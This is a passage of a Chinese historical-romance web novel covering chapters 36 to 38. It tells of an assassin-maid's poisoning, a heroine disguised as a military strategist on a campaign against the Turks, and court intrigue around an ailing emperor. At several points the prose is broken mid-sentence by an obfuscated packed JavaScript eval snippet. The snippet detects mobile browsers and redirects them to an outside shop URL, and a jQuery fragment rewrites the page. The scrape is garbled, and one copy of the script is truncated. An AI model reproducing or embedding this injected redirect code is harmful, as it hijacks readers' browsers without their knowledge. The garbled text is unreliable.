贺沅安动作着褪下外袍,只留下一件中衣,锐利地眼神如刀子一般刮着眠霜的身体。 眠霜脸色霎时间变得苍白无比,好在贺沅安没有再紧抓不放,收回眼神,进了屏风后面,不一会儿响起水声。 难道贺沅安已经已经发现她的目的了?眠霜缓了一会儿慢慢平静下来,贺沅安本就性情变化无常,突然发疯也是正常的。 若贺沅安真的发现她在监视他,要杀了她,她会在那之前毫不犹豫地逃离景王府。 眠霜给自己吃下一颗定心丸,挪动到屏风后面候着。 不知道是房间里闷热,还是她过分紧张的缘故,眠霜眼前渐渐蒙上了水雾,头脑昏昏沉沉,意识也不大清楚了。 怎么回事? 眠霜晃了晃脑袋,清醒了片刻,迟钝地察觉到由内而外散发的刺骨的寒冷,正一点点蚕食她的意识。 是体内的毒发作了。眠霜脑海里蹿出这么一句话。 宁津堂的杀手自加入宁津堂,身体内都会被种下特制的毒药,以防杀手叛变,保证忠诚。 这种毒药得每两个月服食一次解药,不然毒发时便会浑身冰冷,如坠冰窟,痛苦万分,若是连续两次没服食解药,便会七窍流血横死。 算算时日,今日刚好有了两个月。眠霜嘴唇青紫,浑身发抖,她伸手抱住肩膀,但并没有什么作用。 因为毒发,身体抖动地越来越厉害,一个不慎碰到了屏风,发出响动。 屏风背后的贺沅安顿住了,细听外面的动静,随后恢复如常。 而让贺沅安没想到的是,下一瞬发出一声巨响,眠霜撞倒了屏风,直直冲着他撞过来。 与此同时,窗外、屋顶上蛰伏已久的刺客终于有了动作。 眠霜似乎失去了意识,无知无觉往浴桶里栽去,背后,箭矢上闪动着刺眼的光芒,贺沅安不适地眨眼,千钧一发之际将眠霜捞进怀里。 贺沅安眼底闪过精光,八皇叔真是心急,就这么按捺不住对他动手了。 接着他垂眸看去,瞬间皱起眉头,眠霜浑身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430470|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哆冰冷,嘴唇哆嗦,情况很不对。 像是中毒了。贺沅安心思百转千回,很快就想到可能是宁津堂给堂内杀手下了毒,以便控制他们。 来不及想太多,下一波箭矢又朝着他们刺来,贺沅安快速挥手熄灭蜡烛,旋身出水,披上外袍,迎上刺客。 良久,刀剑当啷落了一地,血腥气格外浓,贺沅安本想让侍卫来处理一地的狼藉,视线落到浴桶里的人身上,作罢。 …… 第二日,眠霜揉着脑袋昏昏沉沉醒来,一下子愣住了,她怎么在贺沅安的床上? 依稀记得她昨晚上体内毒发,天旋地转撞到屏风上失去了意识。 现在身体没有什么不适的感觉,是贺沅安帮她解了毒吗? 眠霜脸色微变,在心里默念,贺沅安没有解药,解不了她的毒。 “醒了?”贺沅安冷淡的声音从门口传来,眠霜见他进来,挣扎着下床,被贺沅安制止了。 眠霜唇色微白,颔首向他道谢:“昨夜多谢王爷搭救。” 她昨夜昏迷中依稀听到刀剑相接的声音,心想应该是刺客混进景王府,对贺沅安下手了。 昨夜两人共处一室,要是贺沅安不大发慈悲救她,她就算不死于寒毒,也会被乱箭射死,乱刀砍死吧。 眠霜这般想着,眼里流露出一丝庆幸。 贺沅安“嗯”了一声,没再看她,“不必,明日你便离开景王府。” 语调很轻,却重重砸在眠霜心上,贺沅安突然赶她走,她本应该高兴,但是却生出莫名的烦躁。 “好,多谢景王殿下这段时间的照拂。” 眠霜听到自己这样说,没向贺沅安行礼,昂首阔步走出去了。 贺沅安端着茶盏啜饮,很快觉出舌尖上若有若无的苦涩之意。 昨夜贺沅安意外瞧见眠霜手腕上的陈旧疤痕,恍然觉得眼熟,细想之下,终于忆起年少时的场景。 车厢晃荡,贺沅安皱起眉头,忽听外面人说道:“殿下,外面有个脏兮兮的乞丐拦住了马车,属下这就将人赶走。” 贺沅安掀开车帘,恰好对上那双清亮有神的眼睛,鬼使神差地,他捏起车上的吃食抛到那乞丐身上。 小乞丐慌张地伸手去拿,破烂的衣裳露出单薄的手腕,触目的疤痕映入眼帘。 和眠霜手上的极其相似,只是时间过去很久,贺沅安已然记不清了,只记得那双凌凌的眼睛。 这两个人,怎么说都不可能有交集。 贺沅安自嘲地笑笑,笑意浅显。 房门被叩响,有人在门外说话,“王爷,宫里来人了,陛下召您进宫。” 贺沅安抬眸,眸子漆黑一片。 大理寺的人没在崖底找到莲玉荇的尸首,那时便他知道,莲玉荇根本没死。 用自己的命来给他下套,贺沅安也不由得佩服莲玉荇了。 想来此刻莲玉荇怕是和贺砚随一起到达边关了。 贺沅安呼出一口浊气,即便贺砚随和莲玉荇出了边关,也照样有人给他找事情做。 36. 军师 边关路途遥远,风声猎猎,带着沙石碎粒狠狠刮在脸上,阵阵发疼。 大军在河西郡甘州城三十里外驻扎安顿下来,贺砚随临时组了一队精兵强将,稍稍潜进甘州城内。 篝火烧得旺盛,火焰蹿高。 “大军刚到甘州,疲惫不堪,密探传来消息,城内的突厥人已经逃了一大半,剩下的一部分则分散在城内各处,你们此时进城,正好可以打他们个措手不及。”贺砚随摊开地图来,分析着城内情况。 “将军放心,属下们必定圆满完成任务!” 小队的士兵昂首挺胸,神采奕奕,眉目脸不见半点疲态,迫不及待冲进城内。 贺砚随一身银白盔甲,伸手拍了拍带队的将领,对众人叮嘱道:“一路小心!” “是!” 领队带着士兵深入密林当中,很快消失得无影无踪,不见半点痕迹。 贺砚随收回眼神,往营帐的方向走,一个五大三粗的魁梧男子迎了上来,粗声道:“将军,楚军师在营帐里等着,说是要和将军探讨一下接下来的作战计划。” “一路奔波劳累,袁副将辛苦了,时候不早,先去休息吧。”贺砚随点头答应,扬了扬唇,示意他回去休息。 袁副将拱手,看着贺砚随离开的方向,不由得挠头苦思,他竟然不知道将军何时多了个军师。 这军师不知本事如何,看着身体倒是十分娇贵,一路上都乘坐马车,袁副将能见到他的机会少之又少。 方才楚行叫住自己,让他给将军带口信时,他心里一惊,心想不仅身子骨弱,嗓音也轻细,但是不算难听。 端王殿下原本便没有行军经验,改日他得试探一下这位楚军师的虚实,看看他腹中到底有无经略纵横! 袁副将哼声,吹着口哨回了自己的营帐。 掀开帐帘,贺砚随一眼就看见了坐在小几旁,撑着下巴看兵书的莲玉荇,眉头是不是皱起,很快又舒展开来。 贺砚随微微挑眉。 “回来了。”莲玉荇听到动静,抬眼看过来,贺砚随脱了厚重的盔甲,换上了常服,“听袁副将说你找我。” 莲玉荇笑笑:“我要是不这么说,袁副将心里怕是要将我编排个遍。” 大概会说,堂堂大晋朝端王殿下、大将军,日日和谋士在一起,像什么话。 “你看我这一身衣裳如何?”莲玉荇站起身,转了个身,让贺砚随看得更清楚些。 刚出边关不久,莲玉荇便想到,自己若是这段时间要待着贺砚随身边,总归要一个合理恰当的身份,还不能让军中之人认出自己。 需得改头换面。 要是做个小兵,便难免和军中男子有所接触,身边更容易暴露。 贺砚随思忖着,“我有个主意,不如你做我的谋士,不用和军中士兵挤来挤去,能有自己的营帐,我们也能随时见面。” “军师?”莲玉荇哑然,朝堂内宅她接触过不少,但是军中之事她并没有实践过,不过试试也无妨,哪有人一出生就会。 莲玉荇犹豫了片刻,最终还是答应下来,不过没有自己原来的姓氏,而是用了母家的姓氏,名唤楚行。 贺砚随托人给她找了男人的衣裳,都不是很合适,便把自己的衣裳拿出来给她,略显宽大,但比之前的好了不少。 于是,莲玉荇摇身一变,成了讨伐突厥队伍里的谋士。 “不错。”贺砚随看向莲玉荇,一身青衣,原先及肩膀的乌发簪在头顶,显得利落清隽。 只是身材瘦削,看上去有些文弱可欺。 “太瘦了。”贺砚随沉沉说道,眉宇压紧。 莲玉荇身子本就弱,肩膀受了伤,一路上舟车劳顿,没怎么吃东西,比原先更瘦了。 “多少人讲究女子要杨柳腰,到了端王殿下这里,怎么变了说法。”莲玉荇眼里含笑,打趣他,“养身体非一时,你也不要太操心了,更何况我现在是男子,瘦一点也好,不显身形。” 贺砚随嘴角噙着笑意,有些勉强,莲玉荇上前几步,目光一寸寸地,描摹着贺砚随的眉眼,伸手抚上他的眉头。 一时无言。 半晌,莲玉荇收回手,避开贺砚随灼热的眼神,道:“来河西有一段时间了,却迟迟没有打听到我哥哥的消息,也不知道他躲到哪里去了。” 眉目间隐约涌现出愁绪,贺砚随看在眼里,将莲玉纤细修长的手指握在手里,拉着她坐下。 “总不会走太远的。”贺砚随安慰她,“别太着急。” ** 翌日,日头正盛之时,先行进城的精兵小队传来消息—— 甘州城内的突厥人悉数被清理了个干净,愿意投降的人被收押进了大牢,坚决反抗的人则被杀光了。 甘州城门大开,贺砚随大手一挥,命军队进驻甘州城。 街道上百姓眼神惊恐,四散奔逃,将房门紧紧关上,生怕和军队的人沾上关系。 贺砚随将街上百姓的表现收进眼底,眼神晦暗。 甘州城主府。 突厥进犯,河西郡、燕州几个城的城主几乎都带着城中守卫跑了,譬如甘州、青州、辰州等城,只有幽州、丰州两城的城主坚守城池,将突厥人挡在城外。 一众肱股心腹坐在厅堂,看向主座的贺砚随,听候着吩咐。 “沈副将,突厥俘虏悉数押在大牢里,派人手看紧了。”贺砚随话音刚落,一侧的男人站起身行礼,正是昨夜带精兵进城的将领。 沈副将:“请将军放心,属下已经让人守着了,不会放进一只苍蝇。” 贺砚随点点头,将今日进城时见到的场景仔细叙述一番。 袁副将率先开口:“将军,城内百姓视大晋朝军队如洪水猛兽,唯恐避之不及,该如何是好?” 沈副将叹气:“前段时间突厥人在河西郡烧杀抢掠,百姓不得安宁,想来是怕大晋朝军队如从前那般对待他们。” 哪怕是本朝军队也不得百姓信任,在场的人一时间百感交集,不知道说什么才好。 贺砚随眼底闪过复杂的情绪,他转头看向一旁的莲玉荇,还未来得及说什么,袁副将突然开口说话。 “楚军师,不知你可有办法解决当下这种棘手的处境?”袁副将看向莲玉荇的眼神里有不加掩饰的探究。 莲玉荇心猛地一颤,和贺砚随对视一眼,看到他不着痕迹地点头,心里稍微安定下来。 在场的人视线都落在莲玉荇身上,见他迟迟不说话,袁副将的脸色微变,似乎下一刻就要拍案而起,质问莲玉荇虚假的军师身份。 “……”莲玉荇忽地笑出声,袁副将果然看她不顺眼,这么快就忍不住对她发难了。 莲玉荇也不恼,背着手,缓缓说道:“甘州的百姓如此恐慌,一是怕军队再像突厥一样烧杀抢掠,为祸百姓,二是害怕大晋朝和突厥交战,战火会波及到平民百姓身上。” 她语气微顿,接着说:“办法也有二,其一,严格军纪,不允许军中战士进入百姓家中,不允许践踏百姓的土地,这样能极大地平息百姓的恐惧和愤怒之意。” “其二,将军队迁出甘州城,在城外安营扎寨,往后队伍去往其他地方,只用留下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430471|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少于士兵驻守即可,既不会打扰百姓生活,也可以保证城池的安全。” 在莲玉荇身后,贺砚随眼里隐含赞叹,阿荇虽没上过战场,但在军事上颇有造诣,更何况还十分勤奋,夜半都还捧着兵书在看。 将领们纷纷点头,都觉得莲玉荇说得有道理,沈副将思索一番,“军师说得有道理,只是迁出城之后,军备补给怕是会跟不上。” 莲玉荇挑眉,回应道:“行军的大多数时候,粮草都是随军的,只有少部分靠沿途驿站和京都补给,迁出城其实也没什么影响,将粮草带上便是。” “说得倒是轻巧,那么多粮草得要多少士兵运送。”袁副将嗤声,果然是没上过战场的小白脸,只会纸上谈兵罢了。 知道袁副将看不惯自己,莲玉荇没有多说,以免徒增冲突。 沈副将问道:“依将军的看,连军师的建议是否可行?” “本将觉得尚可。”贺砚随询问众将士的意见,没什么反对,只袁副将一声不吭,“袁副将有何意见,直说便是,不必顾忌楚军师。” 莲玉荇扬眉看去,没说话。 得了贺砚随的肯定回答,袁副将瞥了莲玉荇一眼,这才放心地开口:“楚军师毕竟没上过战场,军中很多事他并不知晓,贸然建议。若是实施之后有了变故,这责任谁来承担。” 贺砚随若有所思,许久才轻启唇齿:“如今军中粮草还充足,各位将士也不必想太多。” “过几日甘州的事情平定下来,大军也要开拔前往青州,在城外安营扎寨也省去不少麻烦。” “既已敲定,诸位将领便各自去做吧。”贺砚随笑笑,将袁副将留住了。 莲玉荇看了看袁副将,又看了看贺砚随,自觉地退到内室。 “将军有何吩咐?”袁副将躬身道。 他瞥见莲玉荇离开的背影,心道还算有眼色。 贺砚随:“袁副将,你是不是对楚军师有什么意见?” “不敢。”袁副将脸色霎时间变得难看,难道是楚行在将军面前他的坏话。 袁副将心里不断猜测,脸色也变来变去,贺砚随看得好笑,面上仍旧淡淡,“别多想袁副将,此次与突厥交战,军中能委以重任的人很少,你和楚军师都是本将的左膀右臂。” 袁副将怎么听都觉得贺砚随话里有敲打之意,兴许是他想多了。 “属下遵命!”袁副将表明态度。 贺砚随见他软下态度,语气放缓,“楚军师的颇有才干,袁副将不妨多和楚军师相处相处。甘州城的库房清点还没结束,劳烦袁副将走一趟了。” …… 贺砚随进内室之时,莲玉荇已经昏昏欲睡,快要栽倒。 脸颊被宽大的手掌托住,莲玉荇很快便清醒过来,揉了揉惺忪的眼,“人走了?” “走了。”贺砚随道:“累了便回房睡一会儿,我叫你。明天我们要到城外去,便没有这么好的条件了。” 莲玉荇最近这段时间吃不好,睡不好,贺砚随看在眼里心疼不已。 没想到莲玉荇拒绝了,她说:“我现在是军师,袁副将他们到处奔忙,我怎么好意思睡。” “我还是再去看看兵书吧。”莲玉荇正准备走,手忽然被贺砚随牵住。 她疑惑地看着贺砚随。 “之前我承诺你的礼物,要现在看吗?” 贺砚随声音又轻又缓,十分助眠,莲玉荇却分外清醒。 出边关之时,贺砚随许了她一个礼物,贺砚随藏得很紧,所以莲玉荇确实挺好奇的。 她点点头,答应了。 37. 谋定 眼前一片昏暗,感官被放大,脚步声、呼吸声清晰入耳。 莲玉荇看不见,全被贺砚随牵着手带着往前走,一盏茶的时间后,贺砚随停下了脚步,弯腰凑到莲玉荇耳边,轻声道:“阿荇,睁开眼。” 眼睫轻颤,莲玉荇缓缓睁开眼,瞳孔倏然一滞。 贺砚随身后,一人正背对着他们,头发被随意扎在脑后,身形挺拔,粗壮的手臂被包裹在粗布麻衣之下,蓬勃力量呼之欲出。 “阿兄!”莲玉荇几乎是脱口而出,看了贺砚随一眼,眼神感激,接着急匆匆地绕过贺砚随往前走。 莲玉鹤闻声转过头来,唇角微扬。 一别数月,莲玉鹤先前儒雅的谦谦君子形象荡然无存,边关的风沙加上连日奔波,让他练就了一身蓬勃力量,眉眼深邃了不少。 “阿荇,许久未见了。”莲玉鹤笑着说,接着上前一步,让莲玉荇能够仔细地打量他。 莲玉荇泪眼婆娑,强忍着情绪,转过身,发现先前 还站在原地的贺砚随不知何时出去了。 她悄悄呼出一口郁气,贺砚随大概是不想让自己打扰他们兄妹的团聚,所以才悄悄离开了。 莲玉荇道:“阿兄,这段时间你去哪儿了?我还以为你被人抓住了。” 丞相府遭难之后,她一直请闻人秀替她打听兄长莲玉鹤的下落,不知道是不是莲玉鹤太过警惕,芜阁的人一直没能找到他。 却不想,是贺砚随提前找到了莲玉鹤,将他藏在了甘州城内。 “为兄提前得知了丞相府众人下狱的消息,便在朝廷的通缉令到河西郡之前,先行躲了起来。” 莲玉鹤眼神示意莲玉荇坐下,“之前我一直担心你们的安危,四处探听无果,便打算冒险回京,不曾想边关变故突起,我也被困在甘州。” “好在我准备离开甘州之时,正巧碰上了端王殿下身边的侍卫。”莲玉鹤叹声,“他告诉我你已经安然无恙,我才放下心来。” 他偶然得知莲玉荇侥幸逃脱了,原本打算回京都找莲玉荇,直到碰上贺砚随的侍卫,这才能在甘州城主府和莲玉荇见上面。 “阿荇。” 两个人沉默半晌,莲玉鹤开口打破寂静,叫了莲玉荇的名字。 莲玉荇倏然抬头,“阿兄有何事要说?” 莲玉鹤沉声道:“丞相府遭难的始末,端王殿下已经同我说过了,其中关窍在燕州太守。可,燕州太守已经投靠突厥部落……” 这意味着,燕州太守通敌叛国,那丞相府的通敌叛国的罪证也就坐实了。 除非找到关键证据,丞相府的冤情基本上平反无望。 莲玉荇也意识到,脸色变了又变,燕州太守这番举动,看似无关紧要,实际上已经将丞相府置于死地了。 难道丞相府真的要背着通敌叛国的骂名一辈子吗? 莲玉荇思绪如一团乱麻,脸上有颓然模样,莲玉鹤看得难受,却全无办法。 父亲母亲如今尚在大理寺的大狱之中,不知道情况如何了。 “阿兄……”良久,莲玉荇颤声道,细看她的手指还在微微抖动,似乎是想到了什么可怕之事。 莲玉鹤刚想安慰她,而后想说的话堵在喉咙。 “我们不是全无办法。”莲玉荇抬眸看向莲玉鹤,眼中隐约有丝丝光亮。 她说:“诏令说燕州太守和父亲通信往来,交情颇深,密谋通敌叛国。如若让燕州太守亲口承认父亲没有通敌叛国,显然行不通,但可以找出在燕州太守指挥的人是谁。” 从重生以来,莲玉荇很少有掌控不了的事情,但这一切背后隐隐有一双大手,在推动着一切事情的发生。 “父亲私印丢失之时,我怀疑过,并且提醒了父亲,但是背后之人似乎始终快我们一步,用私印构成了丞相府通敌叛国的铁证。” 她们主动一点,会不会可以让幕后黑手自乱阵脚,露出纰漏? 莲玉荇:“私印至今全无下落,入若能找到私印的所在,是不是也能找到幕后黑手?这样丞相府也就有了一线希望。” “是。”莲玉鹤愣了愣,一番思虑过后,颔首同意了。 目前看来,也只有这个办法了。 兄妹俩把话说开了,闲聊了一会儿,莲玉鹤言语风趣,莲玉荇忍不住笑开颜,时不时掩唇低笑。 “阿荇,你与端王殿下看上去相交甚笃啊,他竟肯为了你对抗朝廷的命令,并且将你安全送出京都,还留在京都。”莲玉鹤突然转了话题,说起了莲玉荇和贺砚随的关系。 莲玉荇唇齿微张,正想像从前一样反驳莲玉鹤,思绪流转,良久之后,她视线游移,掩饰一般垂下眼睑,看上去有些羞赧,“……” 门栓响动,房门被忽然推开了,贺砚随步履沉稳走进来。 莲玉鹤略带深意的目光在两人之间游移不定。 在莲玉荇感到不自在之前,莲玉鹤适时收回了眼神。 先前阿荇和端王殿下之间仿佛有一层看不见戳不破的隔膜,关系不好不坏,现下看阿荇这种反应,似乎关系更进一步了。 他低低咳嗽几声,朝贺砚随颔首,抬脚出去了。 贺砚随同样颔首回应。 “你与你阿兄说了丞相府的事了?”贺砚随道。 莲玉荇“嗯”了一声,疲惫一般坐了下来,“阿兄虽远在边关,但消息挺灵通的,我就算想瞒也瞒不住。” 况且没有隐瞒的必要,丞相府的事还需要她和阿兄一同解决。 贺砚随把莲玉荇揽到身上,两人肌肤相贴,莲玉荇动了动,被他止住,“这段日子你总是心神不宁,我知晓你担心兄长,得到消息便让人将莲公子带到甘州来了。” “……多谢,要是没有你,我可能不能和阿兄这么快见面。”莲玉荇转过头去看他,眼神微动。 贺砚随笑道:“你们兄妹团聚,我也开心。” “阿荇,我想告诉你一件事。”贺砚随对上莲玉荇疑惑地眼神,将自己派人调查钱敏之事和盘托出,包括从京都、淮安再到燕州的行踪。 “钱敏行踪不定,但总是跟在我们不远不近的地方。”莲玉荇眼神暗淡下来,想起了什么,看向贺砚随的目光也深沉了几分,“你是怀疑钱敏受人指使,伺机准备对我们下手。” 莲玉荇听贺砚随说过,前世粮草被劫,战场失利,所以贺砚随才身死沙场。 当时负责押送粮草的就是运粮官钱敏。 莲玉荇语气笃定,隐约想通了一些事情,结合贺砚随所说,这人身上的嫌疑真的很大。 淮安县衙内徐家寨土匪的死,贺砚随受伤被截杀,再到后来县令庄尘也被灭口了。 这一桩桩一件件,很难 让人不怀疑。 那贺砚随排尽万难前往边关,是不是为了引出幕后黑手? 莲玉荇神思恍惚,听到贺砚随开口说话的声音,才回过神来。 “我思来想去这事不能瞒着你。”贺砚随说道。 毕竟前世今生的种种事情,他和莲玉荇都得解决,故而也要一起面对。 贺砚随想过把这件事藏在心里,等事情水落石出之后,再将真相告知莲玉荇,还丞相府一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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袁副将沉吟片刻,指了指沙盘上的几个地方,道:“诸位请看,燕州地势易守难攻,以晋军现在的情况可能连燕州城门也进不去。” 更别说打退突厥士兵。 “出河西郡一直往北,突厥和大晋朝交界的地方一直有突厥流寇作乱,近来人数渐渐越来越多了。” “倘若不解决那个地方的流寇,大军开拔攻往燕州,没人多余的兵力驻守河西,很容易被流寇再次攻破。” 袁副将将方方面面的情况都考虑到了,莲玉荇听得清晰,忍不住赞叹点头。 莲玉荇看了看四周的将领,“袁副将说得很好,如今大军疲惫不堪,加上粮草缺乏,朝廷运送的粮草补给还未到,不妨先休整一段时间。” 将领们赞同地应和着。 午饭时辰到,众将领吆喝着准备吃饭,临了还有将领约莲玉荇一同前去。 莲玉荇摆摆手,让他们先行离去,等到人都散了,才缓缓伸出手按住腹部的位置,微微躬下身。 这一个月来,她和几位将领同进同出,谋略纵横一番,便击退了河西郡的突厥。 将领们对她的态度转变很明显,原本看不惯她的袁副将也渐渐改变了对她的态度,虽然不像对待其他人一样亲切,但已经很好了。 莲玉荇艰难坐下喘息,帐外有士兵通报,语调激动,“大将军回来了!” 还未等反应过来,营帐帘子忽然被人掀开,贺砚随大步跨到莲玉荇身边,抚上了她的腹部。 莲玉荇呼吸微滞,急促的呼吸声冲淡了几分痛感。 贺砚随眉头一紧,“这是怎么了?我让人传军医来看看。” 38. 同寝 贺砚随身上还残存着淡淡血腥气,他一脸担忧地看向莲玉荇,解下佩剑和盔甲,伸手探了探她的额头温度。 “没发热。”贺砚随仍旧皱着眉,起身吩咐营帐外的士兵去请军医,顺便再送一份温热吃食来。 待到做完这一切,贺砚随将已经脱力的莲玉荇抱到床上。 莲玉荇闭着眼睛假寐,嘴唇苍白,贺砚随紧紧握着她的手,一言不发,静静陪着。 “将军,王军医到了!”营帐外士兵通报,贺砚随没有放开莲玉荇的手,沉声道:“进来!” 王军医背着药箱进来,看到大将军和军师双手紧握的场景,愣了片刻。 虽说军中将士不分你我,关系极好,但是亲眼见到这番场景,心里隐约觉得怪异。 片刻,王军医将这种想法抛之脑后,大将军万分爱护将士,这是极好的事情! 王军医回过神来,上前替莲玉荇诊脉,不一会儿,王军医便站起身来,朝莲玉荇和贺砚随行礼。 王军医开口道:“将军不必担心,楚军师近来劳累,没有空闲时间好好进食,故而脾胃虚空,将养几日便好。” 方才士兵急匆匆去找军医,他还以为是大将军征战沙场受了重伤,急需诊治,心里砰砰直跳。 到了才发现是坐镇军营的楚军师病倒了。 两个都是军中的顶梁柱,千万不能有任何闪失。如今诊完脉,他也就放心了。 …… 喝了王军医送来的药,莲玉荇的腹痛渐渐止住了,喝了点温热的粥食,身体也恢复了不少。 莲玉荇将碗放下,若有所思地看向贺砚随的脸,眼底漾开几分笑意。 贺砚随对上莲玉荇探究的目光,有些不解,摸了摸面庞,“阿荇怎么这般看着我?” “大晋朝的端王殿下,现下变黑也变壮实了,等回到京都,那些人怕是都认不出来了。”莲玉荇浅笑,气色看起来恢复了不少。 莲玉荇忽地敛了笑意,眼神也沉了下来,贺砚随以为她又不舒服,浑身都紧张起来了。 莲玉荇却伸手抚上他的脸,在那些新的、旧的伤口上滑过,贺砚随察觉到她的心思,抬手握住她的手,上面布满了细细的茧子。 “不疼。”贺砚随咧开了嘴,安慰她:“早一点打退突厥部族,我们便可以早日回到京都。” 莲玉荇默然。 贺砚随又道:“这几次和突厥军队的交战,你兄长自请为前锋,杀敌凶悍非常,现下在突厥军队当中不少人畏惧不已。” “沈副将他们对他称赞有加,等回到京都,我便上奏陛下,嘉奖于他。” 丞相府众人悉数被下狱,她和兄长已然是戴罪之身,昭文帝不责罚她们便是大发慈悲,更不必说嘉奖。 不过是贺砚随安慰她的话罢了。 “……”莲玉荇眼底划过一抹复杂,她垂下眼睑,道:“兄长用心良苦。” 自从那日兄妹相见之后,莲玉鹤便化名楚玉,跟随贺砚随一起四处征战突厥部族,打法凶悍,时有受伤。 既然没有什么捷径,那便脚踏实地拼军功,到时候为丞相府平反便更容易一些。 莲玉荇劝不动他,也不打算劝他。往后之事如何,走一步看一步。 见莲玉荇在胡思乱想,贺砚随扶着她的肩膀让她躺下,拉好被子,“别想了,好好睡一觉,到时候大军前往燕州,免不了一场奔波。” “你最近就是劳累过度,伤了身体,需得好好将养,不然恐怕会落下病根。”贺砚随道:“到了燕州,我们便能踏实休憩几天。” 莲玉荇听话地闭上眼睛,须臾又睁开眼,拍了拍自己旁边的位置,示意贺砚随上来。 贺砚随也不拘泥,脱了鞋袜躺到莲玉荇身边,轻笑:“多谢楚军师体恤。” 莲玉荇眉眼带笑,没再和他贫嘴,“睡觉。” 两人相拥而眠。 ** “咳咳咳……”房间内回荡着阵阵咳嗽声,低哑无力,听上去颇有些日薄西山的意味。 “父皇、父皇……”贺沅安声音急切,一下下替昭文帝抚着背:“父皇身体近来变差了不少,儿臣让太医再来给父皇诊治一番。” “没用的。”昭文帝勉力止住了咳嗽,拍了拍身边的位置,示意贺沅安坐下:“端王前往边关已经五月有余,这几日战报频频,想来战事也快要结束了吧。” 昭文帝叹了口气,贺沅安一时间揣度不出他的心思,只道:“天佑我大晋,相信端王一定会打退突厥部族,还大晋百姓安定生活。” “父皇也一定会康复,大晋需要父皇,需得好好将养才是。”贺沅安眼神里满是担忧,言辞恳切说道。 看着昭文帝这副垂垂老矣、气都喘不匀的样子,并没有在贺沅安心里掀起波澜。 若是让他说真话,他必定会毫不吝啬送昭文帝一句“活该”。 昭文帝眼瞳混浊,一动不动盯着贺沅安的眼睛,似乎要透过眼睛,看进贺沅安心里去。 贺沅安坦然接受着昭文帝的审视,眼神清明无辜,一片忠君之心昭然若见呐。 半晌,昭文帝移开目光,随意道:“你对你八皇叔看法如何?说来与朕听听。” “……”贺沅安心里暗道不妙,昭文帝这是在试探他,还是想通过他打探贺凭舟的底细? 难道是昭文帝查到了什么? 贺沅安轻启唇齿,刚想说话,殿外忽然传出一阵响动,将他打断了,到嘴边的话又咽了回去。 隐约听到殿外宫人喊了一声“八王爷”,贺沅安眼底闪过锐利锋芒,很快消失不见。 昭文帝速来身体康健,虽说偶尔有些不痛不痒的病症,都由太医院悉心照料着,从没像现在这样病歪歪的。 要说和贺凭舟没什么关系,贺沅安是不信的。 “参加陛下,陛下圣安。”贺凭舟一身蟒纹衮服走了进来,贺沅安站起身朝他行礼,贺凭舟则向昭文帝问安。 贺凭舟道:“臣听闻陛下圣体抱恙,连日未曾上朝,忧心不已,特来觐见陛下。”他顿了顿,“今晨,边关送来密报,端王贺砚随率兵打退河西郡的突厥人,现下正前往燕州地界,准备一举拿下突厥。” 若是今日不来,贺凭舟还不曾知道,原来昭文帝已经对他起了疑心,还借着贺沅安旁敲侧击打探他的虚实。 方才他故意弄出响动叫人发现,这才打断了两人你来我往的对话。 看来进度还是太慢了些。贺凭舟垂着头,眼睛里藏着若有若无的杀意,不曾叫人发现。 昭文帝方才和贺沅安交谈许久,脸上已经有了倦意,开口又是一阵惊天动地的咳嗽。 “……皇弟有心,朝堂上的事有皇弟照料,朕很放心。今日朕着实劳累得很,就不多留你们了……”昭文帝剧烈喘息着,靠在床头,像一条挣扎上岸的鱼儿。 贺沅安和贺凭舟各自站在一边,泾渭分明,偶有视线相交。 贺沅安正要离开,却见贺凭舟拱手道:“端王在前线奋战,臣弟得到消息,先前通敌叛国的前燕州太守已然投靠了突厥部族……不如再审问莲家众人,看看能否得到什么有用的线索,能找到前燕州太守也说不定?” 这几个月以来,连续有几批人审问莲家众人,可什么有用的东西都没问出来,反倒打死了不少奴仆。 贺沅安眉头倏然皱起,冷眼看向贺凭舟。 昭文帝闭上了眼睛,不耐地摆了摆手,“都由皇弟自己做主。” “是。”贺凭舟谢恩,“那臣弟便斗胆,让景王陪同前去。” “……”贺沅安脸色微变,看向贺凭舟的眼神越发不善,贺凭舟到底想搞什么鬼? …… 大理寺牢狱之中,莲丞相和莲夫人被绑在行刑柱上,剩下的莲家众人则还被关在牢里,心惊胆战地注视着。 行刑人拿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430473|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特制的鞭子,狠狠甩向两人,莲丞相闷哼,莲夫人直接晕了过去。 